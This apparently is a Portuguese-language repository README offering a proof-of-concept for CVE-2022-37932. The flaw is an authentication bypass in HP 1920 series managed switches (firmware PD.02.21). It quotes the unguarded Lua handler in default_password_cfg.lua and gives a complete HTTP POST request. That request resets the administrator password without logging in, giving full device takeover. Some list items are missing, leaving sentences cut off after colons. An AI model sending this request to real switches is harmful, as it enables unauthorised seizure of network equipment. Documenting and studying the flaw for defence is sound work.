
Exploit de prova de conceito e análise técnica para CVE-2022-37932, uma vulnerabilidade de bypass de autenticação em switches gerenciados inteligentes da série HP 1920 que permite alteração não autenticada da senha de administrador.
Versão do Firmware: PD.02.21
Dispositivos Afetados: Switches Gerenciáveis Inteligentes da Série HP 1920
Este repositório documenta uma vulnerabilidade crítica de bypass de autenticação nos Switches Gerenciáveis Inteligentes da Série HP 1920 executando a versão de firmware PD.02.21. A vulnerabilidade permite que um atacante não autenticado altere a senha do administrador sem autenticação prévia, efetivamente permitindo a tomada completa do dispositivo.
A vulnerabilidade existe no script /login/default_password_cfg.lua, que lida com a alteração da senha padrão do dispositivo. Este script:
oldPwd corresponde à senha padrão (que está em branco/vazia)A seção vulnerável principal em default_password_cfg.lua:
if (request_method == 'POST') then
-- No authentication or session checks!
local defaultPassword = fpaux.string_const("FD_USER_MGR_DEFAULT_PASSWORD")
-- ...
if form_post.oldPwd ~= defaultPassword then
errorStatus = "401 Unauthorized"
errorText = label.old_password_mismatch
else
-- Proceeds to change password
-- ...
end
end
O script carece de controles críticos de segurança:
Um atacante pode explorar essa vulnerabilidade usando uma simples requisição HTTP POST:
POST /login/default_password_cfg.lua HTTP/1.1
Host: [target-ip]
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]
username=admin&oldPwd=&newPwd=[new-password]&confirmPwd=[new-password]
Nota: O parâmetro oldPwd é deixado vazio, pois a senha padrão está em branco.
Essa vulnerabilidade permite que um atacante não autenticado:
Não tive tempo para pesquisar quem descobriu originalmente essa vulnerabilidade, estou apenas postando uma Prova de Conceito.
Esta informação é fornecida apenas para fins educacionais. O autor não é responsável por qualquer uso indevido desta informação. Sempre obtenha autorização adequada antes de testar vulnerabilidades.